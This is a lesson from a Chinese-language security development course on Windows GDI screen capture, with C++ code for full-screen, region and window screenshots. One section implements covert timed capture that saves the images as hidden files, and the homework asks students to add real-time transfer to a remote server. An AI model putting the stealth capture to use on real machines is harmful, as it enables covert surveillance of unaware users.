安全开发专题
5、屏幕截屏
1、课程目标
- 理解Windows图形设备接口(GDI)
- 掌握屏幕截图技术实现
- 实现高效的屏幕捕获功能
- 了解图像格式转换和保存
2、名词解释
| 术语 | 全称 | 解释 |
|---|---|---|
| GDI | Graphics Device Interface | Windows图形设备接口 |
| BitBlt | Bit Block Transfer | 位块传输 |
| HDC | Handle to Device Context | 设备上下文句柄 |
| Bitmap | 位图 | 图像数据结构 |
3、技术原理
1. Windows图形系统
Windows图形架构:
┌─────────────────────────────────────┐
│ 应用程序 │
├─────────────────────────────────────┤
│ GDI/GDI+ │
├─────────────────────────────────────┤
│ Device Drivers │
├─────────────────────────────────────┤
│ Graphics Hardware │
└─────────────────────────────────────┘
屏幕截图原理:
1. 获取屏幕设备上下文(HDC)
2. 创建兼容的内存设备上下文
3. 创建位图对象
4. 将屏幕内容复制到位图
5. 保存位图数据
2. 屏幕截图技术
主要API:
GetDC() - 获取设备上下文
CreateCompatibleDC() - 创建兼容DC
CreateCompatibleBitmap() - 创建兼容位图
BitBlt() - 位块传输
GetDIBits() - 获取位图数据
3、代码实现
1. 基础屏幕截图实现
// screen_capture.cpp
// 基础屏幕截图实现
#include <windows.h>
#include <stdio.h>
#include <string>
#include <vector>
// BMP文件头结构
#pragma pack(push, 1)
typedef struct {
WORD bfType;
DWORD bfSize;
WORD bfReserved1;
WORD bfReserved2;
DWORD bfOffBits;
} BITMAPFILEHEADER_COMPAT;
#pragma pack(pop)
// 屏幕截图类
class ScreenCapture {
public:
// 截取全屏
static bool CaptureScreen(const char* filename) {
// 获取屏幕尺寸
int screenWidth = GetSystemMetrics(SM_CXSCREEN);
int screenHeight = GetSystemMetrics(SM_CYSCREEN);
// 获取屏幕DC
HDC hScreenDC = GetDC(NULL);
if (!hScreenDC) {
printf("[-] Failed to get screen DC\n");
return false;
}
// 创建兼容的内存DC
HDC hMemoryDC = CreateCompatibleDC(hScreenDC);
if (!hMemoryDC) {
ReleaseDC(NULL, hScreenDC);
printf("[-] Failed to create memory DC\n");
return false;
}
// 创建兼容位图
HBITMAP hBitmap = CreateCompatibleBitmap(hScreenDC, screenWidth, screenHeight);
if (!hBitmap) {
DeleteDC(hMemoryDC);
ReleaseDC(NULL, hScreenDC);
printf("[-] Failed to create bitmap\n");
return false;
}
// 选择位图到内存DC
HGDIOBJ hOldBitmap = SelectObject(hMemoryDC, hBitmap);
// 复制屏幕到内存DC
if (!BitBlt(hMemoryDC, 0, 0, screenWidth, screenHeight,
hScreenDC, 0, 0, SRCCOPY)) {
printf("[-] BitBlt failed\n");
SelectObject(hMemoryDC, hOldBitmap);
DeleteObject(hBitmap);
DeleteDC(hMemoryDC);
ReleaseDC(NULL, hScreenDC);
return false;
}
// 保存位图到文件
bool result = SaveBitmapToFile(hBitmap, hMemoryDC, filename);
// 清理资源
SelectObject(hMemoryDC, hOldBitmap);
DeleteObject(hBitmap);
DeleteDC(hMemoryDC);
ReleaseDC(NULL, hScreenDC);
return result;
}
// 截取指定区域
static bool CaptureRegion(int x, int y, int width, int height, const char* filename) {
// 获取屏幕DC
HDC hScreenDC = GetDC(NULL);
if (!hScreenDC) return false;
// 创建内存DC
HDC hMemoryDC = CreateCompatibleDC(hScreenDC);
if (!hMemoryDC) {
ReleaseDC(NULL, hScreenDC);
return false;
}
// 创建位图
HBITMAP hBitmap = CreateCompatibleBitmap(hScreenDC, width, height);
if (!hBitmap) {
DeleteDC(hMemoryDC);
ReleaseDC(NULL, hScreenDC);
return false;
}
// 选择位图
HGDIOBJ hOldBitmap = SelectObject(hMemoryDC, hBitmap);
// 复制指定区域
if (!BitBlt(hMemoryDC, 0, 0, width, height,
hScreenDC, x, y, SRCCOPY)) {
SelectObject(hMemoryDC, hOldBitmap);
DeleteObject(hBitmap);
DeleteDC(hMemoryDC);
ReleaseDC(NULL, hScreenDC);
return false;
}
// 保存位图
bool result = SaveBitmapToFile(hBitmap, hMemoryDC, filename);
// 清理
SelectObject(hMemoryDC, hOldBitmap);
DeleteObject(hBitmap);
DeleteDC(hMemoryDC);
ReleaseDC(NULL, hScreenDC);
return result;
}
private:
// 保存位图为BMP文件
static bool SaveBitmapToFile(HBITMAP hBitmap, HDC hDC, const char* filename) {
// 获取位图信息
BITMAP bmp;
if (!GetObject(hBitmap, sizeof(BITMAP), &bmp)) {
return false;
}
// 准备BITMAPINFO结构
BITMAPINFOHEADER bi = {0};
bi.biSize = sizeof(BITMAPINFOHEADER);
bi.biWidth = bmp.bmWidth;
bi.biHeight = bmp.bmHeight;
bi.biPlanes = 1;
bi.biBitCount = 24;
bi.biCompression = BI_RGB;
bi.biSizeImage = 0;
// 计算行大小(4字节对齐)
DWORD dwBmpSize = ((bmp.bmWidth * bi.biBitCount + 31) / 32) * 4 * bmp.bmHeight;
// 分配内存存储位图数据
std::vector<BYTE> bmpData(dwBmpSize);
// 获取位图数据
if (!GetDIBits(hDC, hBitmap, 0, bmp.bmHeight,
bmpData.data(), (BITMAPINFO*)&bi, DIB_RGB_COLORS)) {
return false;
}
// 创建文件
HANDLE hFile = CreateFileA(
filename,
GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
return false;
}
// 写入文件头
BITMAPFILEHEADER_COMPAT bmfHeader = {0};
bmfHeader.bfType = 0x4D42; // "BM"
bmfHeader.bfSize = sizeof(BITMAPFILEHEADER_COMPAT) + sizeof(BITMAPINFOHEADER) + dwBmpSize;
bmfHeader.bfOffBits = sizeof(BITMAPFILEHEADER_COMPAT) + sizeof(BITMAPINFOHEADER);
DWORD written;
WriteFile(hFile, &bmfHeader, sizeof(BITMAPFILEHEADER_COMPAT), &written, NULL);
WriteFile(hFile, &bi, sizeof(BITMAPINFOHEADER), &written, NULL);
WriteFile(hFile, bmpData.data(), dwBmpSize, &written, NULL);
CloseHandle(hFile);
printf("[+] Screenshot saved: %s (%dx%d)\n", filename, bmp.bmWidth, bmp.bmHeight);
return true;
}
};
// 测试函数
void TestScreenCapture() {
printf("=== Screen Capture Test ===\n");
// 截取全屏
if (ScreenCapture::CaptureScreen("screenshot_full.bmp")) {
printf("[+] Full screen captured\n");
}
// 截取指定区域
if (ScreenCapture::CaptureRegion(100, 100, 800, 600, "screenshot_region.bmp")) {
printf("[+] Region captured\n");
}
}
2. 高级屏幕截图技术
// advanced_screen_capture.cpp
// 高级屏幕截图技术
#include <windows.h>
#include <gdiplus.h>
#include <stdio.h>
#include <string>
#include <vector>
#pragma comment(lib, "gdiplus.lib")
// 高级屏幕截图类
class AdvancedScreenCapture {
private:
static ULONG_PTR gdiplusToken;
public:
// 初始化GDI+
static bool InitializeGDIPlus() {
Gdiplus::GdiplusStartupInput gdiplusStartupInput;
return (Gdiplus::GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL) == Gdiplus::Ok);
}
// 清理GDI+
static void ShutdownGDIPlus() {
Gdiplus::GdiplusShutdown(gdiplusToken);
}
// 截取屏幕并保存为PNG
static bool CaptureScreenToPNG(const char* filename) {
// 获取屏幕尺寸
int screenWidth = GetSystemMetrics(SM_CXSCREEN);
int screenHeight = GetSystemMetrics(SM_CYSCREEN);
// 获取屏幕DC
HDC hScreenDC = GetDC(NULL);
if (!hScreenDC) return false;
// 创建内存DC
HDC hMemoryDC = CreateCompatibleDC(hScreenDC);
if (!hMemoryDC) {
ReleaseDC(NULL, hScreenDC);
return false;
}
// 创建DIB段
BITMAPINFO bmi = {0};
bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
bmi.bmiHeader.biWidth = screenWidth;
bmi.bmiHeader.biHeight = -screenHeight; // 负值表示顶-down DIB
bmi.bmiHeader.biPlanes = 1;
bmi.bmiHeader.biBitCount = 32;
bmi.bmiHeader.biCompression = BI_RGB;
VOID* bits = nullptr;
HBITMAP hBitmap = CreateDIBSection(hMemoryDC, &bmi, DIB_RGB_COLORS, &bits, NULL, 0);
if (!hBitmap) {
DeleteDC(hMemoryDC);
ReleaseDC(NULL, hScreenDC);
return false;
}
// 选择位图
HGDIOBJ hOldBitmap = SelectObject(hMemoryDC, hBitmap);
// 复制屏幕内容
BitBlt(hMemoryDC, 0, 0, screenWidth, screenHeight, hScreenDC, 0, 0, SRCCOPY);
// 创建GDI+ Bitmap
Gdiplus::Bitmap* pBitmap = new Gdiplus::Bitmap(screenWidth, screenHeight,
screenWidth * 4, PixelFormat32bppARGB,
(BYTE*)bits);
// 保存为PNG
CLSID clsid;
GetEncoderClsid(L"image/png", &clsid);
std::wstring wFilename(filename, filename + strlen(filename));
Gdiplus::Status status = pBitmap->Save(wFilename.c_str(), &clsid, NULL);
// 清理
delete pBitmap;
SelectObject(hMemoryDC, hOldBitmap);
DeleteObject(hBitmap);
DeleteDC(hMemoryDC);
ReleaseDC(NULL, hScreenDC);
return (status == Gdiplus::Ok);
}
// 截取活动窗口
static bool CaptureActiveWindow(const char* filename) {
// 获取活动窗口
HWND hWnd = GetForegroundWindow();
if (!hWnd) return false;
// 获取窗口位置和大小
RECT rect;
GetWindowRect(hWnd, &rect);
int width = rect.right - rect.left;
int height = rect.bottom - rect.top;
// 获取窗口DC
HDC hWindowDC = GetDC(hWnd);
if (!hWindowDC) return false;
// 创建内存DC
HDC hMemoryDC = CreateCompatibleDC(hWindowDC);
if (!hMemoryDC) {
ReleaseDC(hWnd, hWindowDC);
return false;
}
// 创建位图
HBITMAP hBitmap = CreateCompatibleBitmap(hWindowDC, width, height);
if (!hBitmap) {
DeleteDC(hMemoryDC);
ReleaseDC(hWnd, hWindowDC);
return false;
}
// 选择位图
HGDIOBJ hOldBitmap = SelectObject(hMemoryDC, hBitmap);
// 复制窗口内容
PrintWindow(hWnd, hMemoryDC, PW_CLIENTONLY);
// 保存位图
bool result = SaveBitmapToJPEG(hBitmap, hMemoryDC, filename);
// 清理
SelectObject(hMemoryDC, hOldBitmap);
DeleteObject(hBitmap);
DeleteDC(hMemoryDC);
ReleaseDC(hWnd, hWindowDC);
return result;
}
private:
// 获取图像编码器CLSID
static int GetEncoderClsid(const WCHAR* format, CLSID* pClsid) {
UINT num = 0;
UINT size = 0;
Gdiplus::GetImageEncodersSize(&num, &size);
if (size == 0) return -1;
Gdiplus::ImageCodecInfo* pImageCodecInfo = (Gdiplus::ImageCodecInfo*)malloc(size);
if (!pImageCodecInfo) return -1;
Gdiplus::GetImageEncoders(num, size, pImageCodecInfo);
for (UINT i = 0; i < num; ++i) {
if (wcscmp(pImageCodecInfo[i].MimeType, format) == 0) {
*pClsid = pImageCodecInfo[i].Clsid;
free(pImageCodecInfo);
return i;
}
}
free(pImageCodecInfo);
return -1;
}
// 保存位图为JPEG
static bool SaveBitmapToJPEG(HBITMAP hBitmap, HDC hDC, const char* filename) {
// 获取位图信息
BITMAP bmp;
GetObject(hBitmap, sizeof(BITMAP), &bmp);
// 创建GDI+ Bitmap
Gdiplus::Bitmap* pBitmap = Gdiplus::Bitmap::FromHBITMAP(hBitmap, NULL);
if (!pBitmap) return false;
// 设置JPEG质量参数
Gdiplus::EncoderParameters encoderParams;
encoderParams.Count = 1;
encoderParams.Parameter[0].Guid = Gdiplus::EncoderQuality;
encoderParams.Parameter[0].Type = Gdiplus::EncoderParameterValueTypeLong;
encoderParams.Parameter[0].NumberOfValues = 1;
ULONG quality = 90;
encoderParams.Parameter[0].Value = &quality;
// 获取JPEG编码器
CLSID clsid;
GetEncoderClsid(L"image/jpeg", &clsid);
// 转换文件名为宽字符
std::wstring wFilename(filename, filename + strlen(filename));
// 保存
Gdiplus::Status status = pBitmap->Save(wFilename.c_str(), &clsid, &encoderParams);
delete pBitmap;
return (status == Gdiplus::Ok);
}
};
// GDI+ Token
ULONG_PTR AdvancedScreenCapture::gdiplusToken = 0;
// 测试高级截图功能
void TestAdvancedCapture() {
printf("=== Advanced Screen Capture Test ===\n");
// 初始化GDI+
if (!AdvancedScreenCapture::InitializeGDIPlus()) {
printf("[-] Failed to initialize GDI+\n");
return;
}
// 截取屏幕保存为PNG
if (AdvancedScreenCapture::CaptureScreenToPNG("advanced_screenshot.png")) {
printf("[+] Screen captured to PNG\n");
}
// 截取活动窗口保存为JPEG
if (AdvancedScreenCapture::CaptureActiveWindow("active_window.jpg")) {
printf("[+] Active window captured to JPEG\n");
}
// 清理GDI+
AdvancedScreenCapture::ShutdownGDIPlus();
}
3. 隐蔽屏幕截图实现
// stealth_screen_capture.cpp
// 隐蔽屏幕截图实现
#include <windows.h>
#include <stdio.h>
#include <string>
#include <vector>
#include <thread>
#include <chrono>
// 隐蔽屏幕截图类
class StealthScreenCapture {
private:
bool m_enabled;
std::string m_outputDir;
int m_interval; // 截图间隔(秒)
public:
StealthScreenCapture() : m_enabled(false), m_interval(30) {}
// 设置输出目录
void SetOutputDirectory(const char* dir) {
m_outputDir = dir;
CreateDirectoryA(dir, NULL);
}
// 设置截图间隔
void SetInterval(int seconds) {
m_interval = seconds;
}
// 启动隐蔽截图
void Start() {
if (m_enabled) return;
m_enabled = true;
printf("[+] Stealth screen capture started\n");
// 启动截图线程
std::thread captureThread(&StealthScreenCapture::CaptureThread, this);
captureThread.detach();
}
// 停止隐蔽截图
void Stop() {
m_enabled = false;
printf("[+] Stealth screen capture stopped\n");
}
// 检查是否启用
bool IsEnabled() const {
return m_enabled;
}
private:
// 截图线程
void CaptureThread() {
int counter = 0;
while (m_enabled) {
// 生成文件名
char filename[MAX_PATH];
sprintf_s(filename, "%s\\capture_%04d.bmp", m_outputDir.c_str(), counter++);
// 截图
if (CaptureSilent(filename)) {
printf("[+] Screenshot saved: %s\n", filename);
}
// 等待下一次截图
for (int i = 0; i < m_interval && m_enabled; i++) {
std::this_thread::sleep_for(std::chrono::seconds(1));
}
}
}
// 隐蔽截图(无提示)
bool CaptureSilent(const char* filename) {
// 隐藏光标
ShowCursor(FALSE);
// 获取屏幕尺寸
int screenWidth = GetSystemMetrics(SM_CXSCREEN);
int screenHeight = GetSystemMetrics(SM_CYSCREEN);
// 获取屏幕DC
HDC hScreenDC = GetDC(NULL);
if (!hScreenDC) {
ShowCursor(TRUE);
return false;
}
// 创建内存DC
HDC hMemoryDC = CreateCompatibleDC(hScreenDC);
if (!hMemoryDC) {
ReleaseDC(NULL, hScreenDC);
ShowCursor(TRUE);
return false;
}
// 创建位图
HBITMAP hBitmap = CreateCompatibleBitmap(hScreenDC, screenWidth, screenHeight);
if (!hBitmap) {
DeleteDC(hMemoryDC);
ReleaseDC(NULL, hScreenDC);
ShowCursor(TRUE);
return false;
}
// 选择位图
HGDIOBJ hOldBitmap = SelectObject(hMemoryDC, hBitmap);
// 复制屏幕内容
BOOL result = BitBlt(hMemoryDC, 0, 0, screenWidth, screenHeight,
hScreenDC, 0, 0, SRCCOPY);
// 恢复光标
ShowCursor(TRUE);
if (result) {
// 保存位图
result = SaveBitmapToFile(hBitmap, hMemoryDC, filename);
}
// 清理资源
SelectObject(hMemoryDC, hOldBitmap);
DeleteObject(hBitmap);
DeleteDC(hMemoryDC);
ReleaseDC(NULL, hScreenDC);
return (result != FALSE);
}
// 保存位图文件(静默)
bool SaveBitmapToFile(HBITMAP hBitmap, HDC hDC, const char* filename) {
BITMAP bmp;
GetObject(hBitmap, sizeof(BITMAP), &bmp);
BITMAPINFOHEADER bi = {0};
bi.biSize = sizeof(BITMAPINFOHEADER);
bi.biWidth = bmp.bmWidth;
bi.biHeight = bmp.bmHeight;
bi.biPlanes = 1;
bi.biBitCount = 24;
bi.biCompression = BI_RGB;
DWORD dwBmpSize = ((bmp.bmWidth * bi.biBitCount + 31) / 32) * 4 * bmp.bmHeight;
std::vector<BYTE> bmpData(dwBmpSize);
if (!GetDIBits(hDC, hBitmap, 0, bmp.bmHeight,
bmpData.data(), (BITMAPINFO*)&bi, DIB_RGB_COLORS)) {
return false;
}
// 创建隐藏文件
HANDLE hFile = CreateFileA(
filename,
GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_HIDDEN,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
return false;
}
BITMAPFILEHEADER_COMPAT bmfHeader = {0};
bmfHeader.bfType = 0x4D42;
bmfHeader.bfSize = sizeof(BITMAPFILEHEADER_COMPAT) + sizeof(BITMAPINFOHEADER) + dwBmpSize;
bmfHeader.bfOffBits = sizeof(BITMAPFILEHEADER_COMPAT) + sizeof(BITMAPINFOHEADER);
DWORD written;
WriteFile(hFile, &bmfHeader, sizeof(BITMAPFILEHEADER_COMPAT), &written, NULL);
WriteFile(hFile, &bi, sizeof(BITMAPINFOHEADER), &written, NULL);
WriteFile(hFile, bmpData.data(), dwBmpSize, &written, NULL);
CloseHandle(hFile);
return true;
}
};
// 测试隐蔽截图
void TestStealthCapture() {
printf("=== Stealth Screen Capture Test ===\n");
StealthScreenCapture capture;
capture.SetOutputDirectory("captures");
capture.SetInterval(10); // 10秒间隔
capture.Start();
printf("[*] Stealth capture running for 60 seconds...\n");
Sleep(60000); // 运行1分钟
capture.Stop();
printf("[*] Stealth capture test completed\n");
}
4. 屏幕截图管理器
// screenshot_manager.cpp
// 屏幕截图管理器
#include <windows.h>
#include <stdio.h>
#include <string>
#include <vector>
#include <algorithm>
// 截图格式枚举
enum class CaptureFormat {
BMP,
JPEG,
PNG
};
// 截图区域类型
enum class CaptureArea {
FullScreen,
ActiveWindow,
CustomRegion
};
// 截图管理器
class ScreenshotManager {
private:
std::string m_outputDir;
CaptureFormat m_format;
int m_quality; // JPEG/PNG质量 (1-100)
bool m_timestamp; // 是否添加时间戳
public:
ScreenshotManager() : m_format(CaptureFormat::BMP),
m_quality(90), m_timestamp(true) {
SetOutputDirectory(".");
}
// 设置输出目录
void SetOutputDirectory(const char* dir) {
m_outputDir = dir;
CreateDirectoryA(dir, NULL);
}
// 设置截图格式
void SetFormat(CaptureFormat format) {
m_format = format;
}
// 设置图像质量
void SetQuality(int quality) {
m_quality = std::max(1, std::min(100, quality));
}
// 设置时间戳
void SetTimestamp(bool enable) {
m_timestamp = enable;
}
// 截取屏幕
bool CaptureScreen(CaptureArea area = CaptureArea::FullScreen,
int x = 0, int y = 0, int width = 0, int height = 0) {
std::string filename = GenerateFilename();
switch (area) {
case CaptureArea::FullScreen:
return CaptureFullScreen(filename.c_str());
case CaptureArea::ActiveWindow:
return CaptureActiveWindow(filename.c_str());
case CaptureArea::CustomRegion:
return CaptureRegion(x, y, width, height, filename.c_str());
default:
return false;
}
}
// 批量截图
int BatchCapture(int count, int intervalMs) {
int successCount = 0;
for (int i = 0; i < count; i++) {
if (CaptureScreen()) {
successCount++;
}
if (i < count - 1) {
Sleep(intervalMs);
}
}
return successCount;
}
private:
// 生成文件名
std::string GenerateFilename() {
char filename[MAX_PATH];
if (m_timestamp) {
SYSTEMTIME st;
GetLocalTime(&st);
sprintf_s(filename, "%s\\screenshot_%04d%02d%02d_%02d%02d%02d.%s",
m_outputDir.c_str(),
st.wYear, st.wMonth, st.wDay,
st.wHour, st.wMinute, st.wSecond,
GetExtension());
} else {
static int counter = 0;
sprintf_s(filename, "%s\\screenshot_%04d.%s",
m_outputDir.c_str(), counter++, GetExtension());
}
return std::string(filename);
}
// 获取文件扩展名
const char* GetExtension() {
switch (m_format) {
case CaptureFormat::BMP: return "bmp";
case CaptureFormat::JPEG: return "jpg";
case CaptureFormat::PNG: return "png";
default: return "bmp";
}
}
// 截取全屏
bool CaptureFullScreen(const char* filename) {
int screenWidth = GetSystemMetrics(SM_CXSCREEN);
int screenHeight = GetSystemMetrics(SM_CYSCREEN);
HDC hScreenDC = GetDC(NULL);
HDC hMemoryDC = CreateCompatibleDC(hScreenDC);
HBITMAP hBitmap = CreateCompatibleBitmap(hScreenDC, screenWidth, screenHeight);
HGDIOBJ hOldBitmap = SelectObject(hMemoryDC, hBitmap);
BitBlt(hMemoryDC, 0, 0, screenWidth, screenHeight, hScreenDC, 0, 0, SRCCOPY);
bool result = SaveBitmap(hBitmap, hMemoryDC, filename);
SelectObject(hMemoryDC, hOldBitmap);
DeleteObject(hBitmap);
DeleteDC(hMemoryDC);
ReleaseDC(NULL, hScreenDC);
return result;
}
// 截取活动窗口
bool CaptureActiveWindow(const char* filename) {
HWND hWnd = GetForegroundWindow();
if (!hWnd) return false;
RECT rect;
GetWindowRect(hWnd, &rect);
int width = rect.right - rect.left;
int height = rect.bottom - rect.top;
HDC hWindowDC = GetDC(hWnd);
HDC hMemoryDC = CreateCompatibleDC(hWindowDC);
HBITMAP hBitmap = CreateCompatibleBitmap(hWindowDC, width, height);
HGDIOBJ hOldBitmap = SelectObject(hMemoryDC, hBitmap);
PrintWindow(hWnd, hMemoryDC, PW_CLIENTONLY);
bool result = SaveBitmap(hBitmap, hMemoryDC, filename);
SelectObject(hMemoryDC, hOldBitmap);
DeleteObject(hBitmap);
DeleteDC(hMemoryDC);
ReleaseDC(hWnd, hWindowDC);
return result;
}
// 截取指定区域
bool CaptureRegion(int x, int y, int width, int height, const char* filename) {
HDC hScreenDC = GetDC(NULL);
HDC hMemoryDC = CreateCompatibleDC(hScreenDC);
HBITMAP hBitmap = CreateCompatibleBitmap(hScreenDC, width, height);
HGDIOBJ hOldBitmap = SelectObject(hMemoryDC, hBitmap);
BitBlt(hMemoryDC, 0, 0, width, height, hScreenDC, x, y, SRCCOPY);
bool result = SaveBitmap(hBitmap, hMemoryDC, filename);
SelectObject(hMemoryDC, hOldBitmap);
DeleteObject(hBitmap);
DeleteDC(hMemoryDC);
ReleaseDC(NULL, hScreenDC);
return result;
}
// 保存位图
bool SaveBitmap(HBITMAP hBitmap, HDC hDC, const char* filename) {
switch (m_format) {
case CaptureFormat::BMP:
return SaveAsBMP(hBitmap, hDC, filename);
case CaptureFormat::JPEG:
return SaveAsJPEG(hBitmap, hDC, filename);
case CaptureFormat::PNG:
return SaveAsPNG(hBitmap, hDC, filename);
default:
return SaveAsBMP(hBitmap, hDC, filename);
}
}
// 保存为BMP
bool SaveAsBMP(HBITMAP hBitmap, HDC hDC, const char* filename) {
BITMAP bmp;
GetObject(hBitmap, sizeof(BITMAP), &bmp);
BITMAPINFOHEADER bi = {0};
bi.biSize = sizeof(BITMAPINFOHEADER);
bi.biWidth = bmp.bmWidth;
bi.biHeight = bmp.bmHeight;
bi.biPlanes = 1;
bi.biBitCount = 24;
bi.biCompression = BI_RGB;
DWORD dwBmpSize = ((bmp.bmWidth * bi.biBitCount + 31) / 32) * 4 * bmp.bmHeight;
std::vector<BYTE> bmpData(dwBmpSize);
if (!GetDIBits(hDC, hBitmap, 0, bmp.bmHeight,
bmpData.data(), (BITMAPINFO*)&bi, DIB_RGB_COLORS)) {
return false;
}
HANDLE hFile = CreateFileA(filename, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
return false;
}
BITMAPFILEHEADER_COMPAT bmfHeader = {0};
bmfHeader.bfType = 0x4D42;
bmfHeader.bfSize = sizeof(BITMAPFILEHEADER_COMPAT) + sizeof(BITMAPINFOHEADER) + dwBmpSize;
bmfHeader.bfOffBits = sizeof(BITMAPFILEHEADER_COMPAT) + sizeof(BITMAPINFOHEADER);
DWORD written;
WriteFile(hFile, &bmfHeader, sizeof(BITMAPFILEHEADER_COMPAT), &written, NULL);
WriteFile(hFile, &bi, sizeof(BITMAPINFOHEADER), &written, NULL);
WriteFile(hFile, bmpData.data(), dwBmpSize, &written, NULL);
CloseHandle(hFile);
return true;
}
// 保存为JPEG(简化实现)
bool SaveAsJPEG(HBITMAP hBitmap, HDC hDC, const char* filename) {
// 简化实现,实际需要使用GDI+或其他库
return SaveAsBMP(hBitmap, hDC, filename);
}
// 保存为PNG(简化实现)
bool SaveAsPNG(HBITMAP hBitmap, HDC hDC, const char* filename) {
// 简化实现,实际需要使用GDI+或其他库
return SaveAsBMP(hBitmap, hDC, filename);
}
};
// 测试截图管理器
void TestScreenshotManager() {
printf("=== Screenshot Manager Test ===\n");
ScreenshotManager manager;
manager.SetOutputDirectory("screenshots");
manager.SetFormat(CaptureFormat::BMP);
manager.SetTimestamp(true);
// 单次截图
if (manager.CaptureScreen()) {
printf("[+] Single screenshot captured\n");
}
// 批量截图
int captured = manager.BatchCapture(3, 2000); // 3张截图,间隔2秒
printf("[+] Batch captured %d screenshots\n", captured);
}
5、课后作业
5.1、作业1:实现视频录制功能
扩展屏幕截图功能,实现连续截图并合成视频的功能。
5.2、作业2:添加图像压缩功能
实现截图的压缩存储,减小文件大小。
5.3、作业3:实现远程传输功能
添加将截图实时传输到远程服务器的功能。